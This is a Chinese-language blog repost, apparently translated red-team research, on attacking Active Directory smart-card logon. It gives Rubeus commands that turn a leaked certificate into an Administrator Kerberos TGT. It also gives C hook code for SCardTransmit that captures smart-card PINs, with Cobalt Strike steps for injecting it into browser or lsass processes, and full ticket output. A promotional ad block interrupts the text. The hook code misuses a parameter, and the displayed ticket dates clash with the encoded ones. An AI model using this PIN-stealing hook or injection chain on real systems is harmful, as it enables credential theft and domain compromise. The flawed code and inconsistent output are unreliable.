天天看點

針對基于智能卡進行認證的活動目錄攻擊

作者:iHacking

最近,我參與了一項攻擊基于智能卡的活動目錄的工作。實際上,你根本不需要使用實體智能卡來驗證登入這個活動目錄。證書的屬性決定了它是否可以用于基于智能卡進行登入。是以,如果你能獲得相應的私鑰,那麼就可以繞過智能卡的驗證實作登入。

當使用者被設定為基于智能卡進行登入時,在它的預設配置中,域控制器将接受任何由它所信任的證書授權機構簽署的、符合以下規範的證書:

● CRL的配置設定點不可為空、并且可用

● 證書的密鑰要使用數字簽名

● 增強型的密鑰使用:

- 智能卡登入

- 用戶端認證(可選,用于基于SSL的認證)

● 包含使用者UPN的主題替代名稱

此外,如果啟用了允許使用無擴充密鑰的證書屬性組政策,那麼就沒必要使用增強型的密鑰。因為這可能會導緻發給域使用者或計算機的其他類型的證書。

針對基于智能卡進行認證的活動目錄攻擊

下面是我們的具體的研究過程。

PKINIT

正如我們所知的,域内的活動目錄會使用Kerberos協定來驗證域名。攻擊者可以使用像Rubeus、Mimikatz、Kekeo和impacket這樣的工具來針對域環境進行利用。

那麼,基于 PKI 的認證與 Kerberos 的認證有什麼關系呢?早在 2006 年,微軟和航空航天公司聯合送出了 RFC 4556。這協定引入了對 Kerberos 預認證的公鑰密碼學的支援。

預認證方法可以防止Kerberos對賬戶密碼進行離線暴力攻擊。如果沒有在AD賬戶上啟用預認證,那麼使用者就容易受到AS-REP的攻擊。随着預認證的引入,那麼最初的AS-REQ Kerberos請求就會包含一個加密的時間戳。并且這個用來加密的密鑰來自于使用者的密碼。這向 KDC 證明了請求登入的使用者确實知道賬戶密碼。是以,KDC就會傳回一個與使用者密碼相關的加密的AS-REP(對AS-REQ的響應)。預認證資料包含的一個時間戳也可以防止重播攻擊。如果預認證資料無效,KDC會傳回一個錯誤,而且也不允許對AS-REP響應密鑰進行暴力破解。如果一個攻擊者能夠在一個網絡中抓取 Kerberos的響應資料包,那麼針對AS-REP 的修改仍然是可能的。

基于 PKI 的認證同樣也是以類似的方式進行工作。它首先會使用 Kerberos 預認證來證明使用者是他們所說的那個人。同樣,它也會使用一個時間戳,但不是使用使用者的密碼生成的密鑰對資訊進行加密,而是用屬于證書的私鑰以PKCS #7加密資訊文法(CMS)的形式來簽署資訊。該私鑰可以存儲于實體智能卡上,并且也可以以其他的形式進行存儲,這其中也包括不那麼安全的方法。一旦KDC驗證了CMS有效載荷的簽名,并且一切正常,那麼AS-REP就會傳回給客戶。PKINIT也會對AS-REP響應進行加密。因為在基于PKI的Kerberos登入過程中并沒有使用密碼,是以使用者密鑰對客戶來說是未知的。

為了解決這個問題,AS-REP要麼使用一個使用Diffie-Hellman密鑰交換算法獲得的密鑰進行加密,要麼使用初始AS-REQ請求中使用的證書公鑰進行加密。并且這個初始請求也包含了關于哪種方法是首選的具體細節。

從這裡開始,其他的一切還都保持不變。用戶端将會獲得一個有效的TGT,可用于申請TGS票據。并且該證書在TGT的有效期内就不再使用,在再次需要該證書的私鑰之前,一般會保持7天的有效期。當然,這并不是說在Windows登入期間,私鑰在7天内不會被使用。如果機器被鎖定或使用者已經被登出,那麼Windows會像基于密碼的登入那樣強制進行認證。但從攻擊者的角度來看,如果他們已經獲得了TGT,這其實就已經不重要了。

是以這裡我開始嘗試在Rubeus中添加對PKINIT的支援,并建立了一個請求。

【----幫助網安學習,需要網安學習資料關注我,私信回複“資料”免費擷取----】

① 網安學習成長路徑思維導圖

② 60+網安經典常用工具包

③ 100+SRC漏洞分析報告

④ 150+網安攻防實戰技術電子書

⑤ 最權威CISSP 認證考試指南+題庫

⑥ 超1800頁CTF實戰技巧手冊

⑦ 最新網安大廠面試題合集(含答案)

⑧ APP用戶端安全檢測指南(安卓+IOS)

基于PKCS#12的認證(PFX)

這裡我們讨論的第一個攻擊場景是使用者私鑰洩露問題。我們可以使用一個PKCS#12證書庫,我們可以使用一個使用者的證書以及相應的私鑰來生成一個Kerberos TGT。一旦你有了私鑰blob和相應的證書,那麼你就可以使用OpenSSL來生成PKCS12存儲,如下所示:

openssl pkcs12 -export -out leaked.pfx -inkey privateKey.key -in certificate.crt            

一旦你生成了一個有效的證書存儲,那麼我們就可以使用Rubeus中新增加的内容來請求TGT了。如果你決定用密碼來保護證書庫,那麼你可以在指令行中加入/password選項。

Rubeus.exe asktgt /user:Administrator /certificate:leaked.pfx /domain:hacklab.local /dc:dc.hacklab.local           

然後,Rubeus将生成一個基于PKINIT的AS-REQ,使用我們所提供的證書庫來驗證使用者。如果一切順利,KDC就會傳回資料包,那麼你就應該會得到類似的輸出:

______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/
  v1.5.0
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=Administrator, CN=Users, DC=hacklab, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'hacklab.local\Administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):
      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
  ServiceName           :  krbtgt/hacklab.local
  ServiceRealm          :  HACKLAB.LOCAL
  UserName              :  Administrator
  UserRealm             :  HACKLAB.LOCAL
  StartTime             :  02/04/2023 16:01:12
  EndTime               :  03/04/2023 02:01:12
  RenewTill             :  09/04/2023 16:01:12
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  6tIiFytU5V2cgSpXt8skdw==           

那麼由此産生的 .kirbi Base64 編碼字元串也可用于從 KDC中獲得正常的 TGS。

在我成功地在這個工具中使用了PKINIT之後,我開始思考我們該如何使用實體智能卡做認證。一旦使用者的機器受到攻擊破壞,那麼使用智能卡進行認證最大的問題就是密碼。如果不知道PIN碼,那麼我們就無法生成一個有效的AS-REQ。蠻力破解是不可行的,因為進行3次無效的嘗試,那麼系統就會先進行賬号鎖定。

其中的一個思路就是,當使用者需要解鎖智能卡時可以嘗試捕獲PIN碼。這主要用于機器解鎖或者登入網絡上其他需要智能卡認證的服務。

經過一番調查,我發現了WinSCard DLL。這個DLL是與Smard Card服務通信的網關。然後這個服務就會控制智能卡的通信。一般來說,任何與Windows上的智能卡進行通信的東西都需要使用WinSCard API。

我所研究的WinSCard.dll中最重要的函數是SCardTransmit API。這個API是用于傳輸智能卡ISO/IEC 7816規範中所要求的應用協定資料單元(APDU)的API。這個是最底層的傳輸單元,主要是用于智能卡通信。

針對基于智能卡進行認證的活動目錄攻擊

如果我們hook這個API,那麼我們應該就能夠監視傳送到卡上的PDU。

LONG SCardTransmit(
  SCARDHANDLE         hCard,
  LPCSCARD_IO_REQUEST pioSendPci,
  LPCBYTE             pbSendBuffer,
  DWORD               cbSendLength,
  LPSCARD_IO_REQUEST  pioRecvPci,
  LPBYTE              pbRecvBuffer,
  LPDWORD             pcbRecvLength
);           

pbSendBuffer參數是向卡片發送的APDU資料包,而pbRecvBuffer則是智能卡傳回的響應資料。

雖然ISO智能卡規範對某些指令類别和指令資料結構做出了限制,但這些限制通常是針對某些具體應用的,而不是由ISO智能卡規範本身定義的。并且為了滿足身份通路的需求,NIST制定了個人身份驗證(PIV)SP 800-73-4規範。該規範涵蓋了智能卡應如何處理注冊到裝置上的證書,以及實作該規範的所有APU,這個不需要太多的細節。在PIV規範中最重要的是第3.2.1節VERIFY卡指令。這些内容闡述了VERIFY APDU是如何在允許通路存儲在卡片上的私鑰之前進行PIN的驗證。

是以,有了ISO規範中的資訊以及PIV規範中的3.2.1節,我們應該能夠寫一個hook程式來捕獲傳送到卡上的PIN。

DWORD WINAPI SCardTransmit_Hooked(SCARDHANDLE hCard,
    LPCSCARD_IO_REQUEST pioSendPci,
    LPCBYTE             pbSendBuffer,
    DWORD               cbSendLength,
    LPSCARD_IO_REQUEST  pioRecvPci,
    LPBYTE              pbRecvBuffer,
    LPDWORD             pcbRecvLength) {
     
    char debugString[1024] = { 0 };
    DWORD result = pOriginalpSCardTransmit(hCard, pioRecvPci, pbSendBuffer, cbSendLength, pioRecvPci, pbRecvBuffer, pcbRecvLength);
    //Check for CLA 0, INS 0x20 (VERIFY) and P1 of 00/FF according to NIST.SP.800-73-4 (PIV) specification
    if (cbSendLength >= 13 && pbSendBuffer[0] == 0 && pbSendBuffer[1] == 0x20 && (pbSendBuffer[2] == 0 || pbSendBuffer[2] == 0xff)) {
        //Check card response status for success
        bool success = false;
        if (pbRecvBuffer[0] == 0x90 && pbRecvBuffer[1] == 0x00) {
            success = true;
        }
        char asciiPin[9];
        sprintf_s(debugString, sizeof(debugString), "Swipped VERIFY PIN: Type %s, Valid: %s, Pin: %s", GetPinType(pbSendBuffer[3]), success ? "true" : "false", 
            GetPinAsASCII(pbSendBuffer+5, min(pbSendBuffer[4],8), asciiPin));
        SendPINOverPipe(debugString);           
    }
    return result;
}           

API調用做的第一件事就是調用原始的SCardTransmit函數。我們不僅需要研究資料請求,而且還要知道卡的響應資料。這樣我們就可以确定傳送給卡片的PIN碼是否正确。然後,該函數會查找VERIFY PDU來隔離驗證PIN的指令。一旦我們确定了VERIFY PDU,那麼我們就可以開始檢查結果,0x90 0x00都表示PIN被稽核。接下來,我們可以從發送緩沖區的偏移量5(PDU結構中的指令資料)的位置處提取PIN碼。最後,我們需要通過一個命名管道來傳輸PIN碼的詳細資訊,然後使用資料接收程式進行捕獲。

我們可以将這一功能打包到一個DLL中,該DLL也能夠進行反射性加載,那麼我們可以将該DLL注入到我們所研究的程序中去。

Demo

假設在存在該漏洞的情況下,并且我已經有了一個Cobalt Strike信标連接配接到了受害者的工作站上。我所使用的是管理者賬戶,但其實普通使用者的賬戶也可以進行使用。PinSwipe DLL也可以被注入到一個高權限的程序中,如lsass,當獲得管理權限時,可以在登入時刷出PIN碼,但使用普通使用者身份進行通路時,你将會被限制在使用者模式程序中,如Internet Explorer等等。

是以首先我們需要啟動PinSwipeListener,這将可以dump出智能卡登入EKU的使用者證書資訊。

beacon> execute-assembly C:\tools\PinSwipeListener.exe
[*] Tasked beacon to run .NET program: PinSwipeListener.exe
[+] host called home, sent: 112171 bytes
[+] received output:
[+] Found smart card logon certificate with thumbprint 55C65AB0B9B6A893A6E8449FB34DD61093B231D8 and subject CN=Administrator, CN=Users, DC=hacklab, DC=loca           

有了監聽器,我們就需要選擇将PinSwipe.dll注入到哪些程序中。像Internet Explorer、Chrome等都是很好的選擇,因為在智能卡認證的環境中,這些程式會經常彈出請求PIN的資訊。在這裡,我運作的是Internet Explorer,它的PID是 2678。實際上,IE和Chrome一樣,為浏覽器的各種标簽都啟動了不同的子程序。是以你需要注入一個正确的程序。同時也可以使用其他更進階的攻擊腳本,不斷尋找新的IE程序并注入它們。

beacon> dllinject 2678 C:\tools\PinSwipe.dll
[*] Tasked beacon to inject C:\tools\PinSwipe.dll into 2678           

一旦使用者在對話框中輸入了他們的PIN碼,PinSwipe就會捕獲請求并通過命名管道将其發送給PinSwipeListener。

針對基于智能卡進行認證的活動目錄攻擊
[+] received output:
[+] PinSwipe: Swipped VERIFY PIN: Type PIV Card Application, Valid: true, Pin: 123456           

PinSwipe的輸出除了顯示輸入的PIN号碼外,還将顯示輸入的PIN是否正确。一旦你擷取了PIN碼,你就可以使用新的Rubeus功能來請求使用使用者的實體智能卡進行TGT驗證。這一次,我們可以使用/certificate參數來指定所要使用的證書的檔案名。

beacon> execute-assembly C:\tools\Rubeus.exe asktgt /user:Administrator /domain:hacklab.local /dc:192.168.74.2 /certificate:55C65AB0B9B6A893A6E8449FB34DD61093B231D8 /password:123456
[*] Tasked beacon to run .NET program: Rubeus.exe asktgt /user:Administrator /domain:hacklab.local /dc:192.168.74.2 /certificate:55C65AB0B9B6A893A6E8449FB34DD61093B231D8 /password:123456
[+] host called home, sent: 357691 bytes
[+] received output:
   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/
  v1.5.0 
[*] Action: Ask TGT
[+] received output:
[*] Using PKINIT with etype rc4_hmac and subject: CN=Administrator, CN=Users, DC=hacklab, DC=local 
[*] Building AS-REQ (w/ PKINIT preauth) for: 'hacklab.local\Administrator'
[+] received output:
[+] TGT request successful!
[+] received output:
[*] base64(ticket.kirbi):
      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
  ServiceName           :  krbtgt/hacklab.local
  ServiceRealm          :  HACKLAB.LOCAL
  UserName              :  Administrator
  UserRealm             :  HACKLAB.LOCAL
  StartTime             :  04/04/2023 19:55:29
  EndTime               :  05/04/2023 05:55:29
  RenewTill             :  11/04/2023 19:55:29
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  5K2V8xIaGbUS8ZYqTl120Q==           

那麼到此結束。你現在已經有了一個TGT,并且可以在7天内申請新的TGS票,然後通路其他的網絡資源。

當你在網絡中使用實體智能卡時,最好的辦法是擁有需要手動按鍵的卡,或者最好是生物識别閱讀器。這樣一來,對使用者賬戶進行的任何攻擊都不會産生TGT資料,因為智能卡會在沒有實體按鍵或生物識别資料存在的情況下阻止對私鑰的通路。

繼續閱讀